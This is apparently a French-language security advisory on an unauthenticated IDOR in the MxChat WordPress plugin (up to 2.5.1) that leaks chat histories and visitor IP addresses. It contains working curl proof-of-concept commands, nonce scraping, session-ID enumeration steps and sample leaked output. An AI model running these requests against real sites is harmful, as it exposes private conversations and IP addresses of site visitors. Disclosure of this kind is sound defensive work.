
MxChat – Chatbot IA pour WordPress <= 2.5.1 - Exposition d'informations sans authentification
Le plugin MxChat Basic ne vérifie pas la propriété de la session dans le point de terminaison AJAX mxchat_fetch_conversation_history, ce qui permet à des utilisateurs non authentifiés d'accéder à l'historique des conversations et aux adresses IP d'autres utilisateurs via des vulnérabilités de référence directe non sécurisée à un objet (IDOR).
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=$SESSION_ID" \
-d "nonce=$NONCE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest" | jq
La fonction mxchat_fetch_conversation_history() du fichier /includes/class-mxchat-integrator.php récupère les données de conversation en se basant uniquement sur un session_id fourni par le client, sans vérifier que le demandeur est bien le propriétaire de la session. Cela permet à tout utilisateur non authentifié disposant d'un nonce valide (disponible via le JavaScript du front-end) d'accéder aux données privées des conversations d'autres utilisateurs. De plus, l'historique des conversations contient les adresses IP des utilisateurs, stockées dans le champ agent_name, qui sont divulguées en même temps que les données de conversation.
La divulgation de l'adresse IP se produit lors du processus de stockage des messages :
Située dans class-mxchat-integrator.php :
361 // 4) Determine user_identifier
362 $user_identifier = $agent_name
363 ? $agent_name
364 : MxChat_User::mxchat_get_user_identifier();
Où MxChat_User::mxchat_get_user_identifier() renvoie l'adresse IP de l'utilisateur pour les utilisateurs non authentifiés :
9 public static function mxchat_get_user_identifier() {
10 if (is_user_logged_in()) {
11 $current_user = wp_get_current_user();
12 return $current_user->user_login;
13 } else {
14 return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15 }
16 }
Cette adresse IP est ensuite stockée dans l'historique des conversations sous le nom agent_name et est exposée lors de la récupération des données de conversation.
Les identifiants de session sont directement intégrés dans les noms des fichiers téléversés. Lorsque les utilisateurs téléversent des documents PDF ou Word via l'interface de chat, les fichiers sont enregistrés avec des modèles de nommage prévisibles : mxchat_{session_id}_{timestamp}.pdf et mxchat_word_{session_id}_{timestamp}.docx. Cela rend les identifiants de session découvrables via différents vecteurs d'attaque : le listage des répertoires si l'indexation du serveur est activée sur le répertoire de téléversement, l'accès à la bibliothèque de médias WordPress, l'indexation potentielle par les moteurs de recherche, etc.
Extrait vulnérable de class-mxchat-integrator.php :
107 function mxchat_fetch_conversation_history() {
108 if (empty($_POST['session_id'])) {
109 wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110 wp_die();
111 }
112
113 $session_id = sanitize_text_field($_POST['session_id']);
114 $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115 $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116
117 if (empty($history)) {
118 wp_send_json_success([
119 'conversation' => [],
120 'chat_mode' => $chat_mode
121 ]);
122 wp_die();
123 }
124
125 wp_send_json_success([
126 'conversation' => $history,
127 'chat_mode' => $chat_mode
128 ]);
129 wp_die();
130 }
Naviguez vers n'importe quelle page du site WordPress cible et extrayez le mxchat_chat_nonce du code source de la page. Le nonce est exposé dans le JavaScript du front-end sous la forme mxchatChat.nonce et est disponible pour tous les visiteurs.
Identifiez un identifiant de session (format : mxchat_chat_{9 caractères alphanumériques}). Les identifiants de session peuvent être découverts via les noms de fichiers téléversés si le listage des répertoires ou l'accès à la bibliothèque de médias est activé, ou énumérés en testant des motifs séquentiels ou des valeurs courantes.
Exécutez la commande curl suivante pour récupérer l'historique des conversations de n'importe quelle session :
curl -X POST http://example.com/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=mxchat_chat_7jxi3jsdb" \
-d "nonce=YOUR_NONCE_HERE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest"
{
"success": true,
"data": {
"conversation": [
{
"id": "6903e8a1e195e",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863841925,
"agent_name": "IP.REDACTED"
},
{
"id": "6903e8a33c86a",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863843248,
"agent_name": "IP.REDACTED"
}
],
"chat_mode": "ai"
}
}
Le champ agent_name contient l'adresse IP de l'utilisateur ($_SERVER['REMOTE_ADDR']) pour les utilisateurs non authentifiés, qui est divulguée en même temps que les données de conversation.